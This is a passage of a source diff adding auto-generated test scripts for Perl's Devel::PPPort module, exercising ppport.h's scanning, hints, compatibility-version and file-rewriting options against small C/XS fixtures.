+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN {
+ if ($ENV{'SKIP_SLOW_TESTS'}) {
+ for (1 .. 238) {
+ skip("skip: SKIP_SLOW_TESTS", 0);
+ }
+ exit 0;
+ }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+ if (-d '../../lib') {
+ if ($isVMS) {
+ $inc = '"-I../../lib"';
+ }
+ elsif ($isMAC) {
+ $inc = '-I:::lib';
+ }
+ else {
+ $inc = '-I../../lib';
+ }
+ unshift @INC, '../../lib';
+ }
+}
+if ($perl =~ m!^\./!) {
+ $perl = ".$perl";
+}
+
+END {
+ chdir('..') if !-d $tmp && -d "../$tmp";
+ rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+ $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+ my $c = shift;
+ $c =~ s/^/# | /mg;
+ $c .= "\n" unless $c =~ /[\r\n]$/;
+ print $c;
+}
+
+sub ppport
+{
+ my @args = ('ppport.h', @_);
+ unshift @args, $inc if $inc;
+ my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+ $run .= ' -MMac::err=unix' if $isMAC;
+ for (@args) {
+ $_ = qq("$_") if $isVMS && /^[^"]/;
+ $run .= " $_";
+ }
+ print "# *** running $run ***\n";
+ $run .= ' 2>&1' unless $isMAC;
+ my @out = `$run`;
+ my $out = join '', @out;
+ comment($out);
+ return wantarray ? @out : $out;
+}
+
+sub matches
+{
+ my($str, $re, $mod) = @_;
+ my @n;
+ eval "\@n = \$str =~ /$re/g$mod;";
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+ my($f1, $f2) = @_;
+ return 0 unless -e $f1 && -e $f2;
+ local *F;
+ for ($f1, $f2) {
+ print "# File: $_\n";
+ unless (open F, $_) {
+ print "# couldn't open $_: $!\n";
+ return 0;
+ }
+ $_ = do { local $/; <F> };
+ close F;
+ comment($_);
+ }
+ return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+ s/^\s+//; s/\s+$//;
+ my($c, %f);
+ ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+ push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+ print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+ my $f;
+ for $f (keys %{$t->{files}}) {
+ my @f = split /\//, $f;
+ if (@f > 1) {
+ pop @f;
+ my $path = join '/', @f;
+ mkpath($path) or die "mkpath('$path'): $!\n";
+ }
+ my $txt = $t->{files}{$f};
+ local *F;
+ open F, ">$f" or die "open $f: $!\n";
+ print F "$txt\n";
+ close F;
+ $txt =~ s/^/# | /mg;
+ print "# *** writing $f ***\n$txt\n";
+ }
+
+ my $code = $t->{code};
+ $code =~ s/^/# | /mg;
+
+ print "# *** evaluating test code ***\n$code\n";
+
+ eval $t->{code};
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ ok($@, '');
+
+ for (keys %{$t->{files}}) {
+ unlink $_ or die "unlink('$_'): $!\n";
+ }
+}
+
+sub find_perl
+{
+ my $perl = $^X;
+
+ return $perl if $isVMS;
+
+ my $exe = $Config{'_exe'} || '';
+
+ if ($perl =~ /^perl\Q$exe\E$/i) {
+ $perl = "perl$exe";
+ eval "require File::Spec";
+ if ($@) {
+ $perl = "./$perl";
+ } else {
+ $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+ }
+ }
+
+ if ($perl !~ /\Q$exe\E$/i) {
+ $perl .= $exe;
+ }
+
+ warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+ return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ /* newSVpv(); */
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+ ok($o =~ /^Scanning.*\Q$_\E/mi);
+ ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak ("foo");
+ Perl_sv_catpvf(); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak (aTHX_ "foo");
+ Perl_sv_catpvf(aTHX); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE defgv + \
+ sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE PL_defgv + \
+ PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t
new file mode 100644
index 00000000000..c4e54809578
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pv_tools.t
@@ -0,0 +1,76 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/pv_tools instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (13) {
+ load();
+ plan(tests => 13);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+@r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+@r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+ $r[2] eq '"pv_d"...\0'); # some perl implementations are broken... :(
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t
new file mode 100644
index 00000000000..ff4d3e05860
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/pvs.t
@@ -0,0 +1,73 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/pvs instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (12) {
+ load();
+ plan(tests => 12);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t
new file mode 100644
index 00000000000..eac79c6ca8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/shared_pv.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/shared_pv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
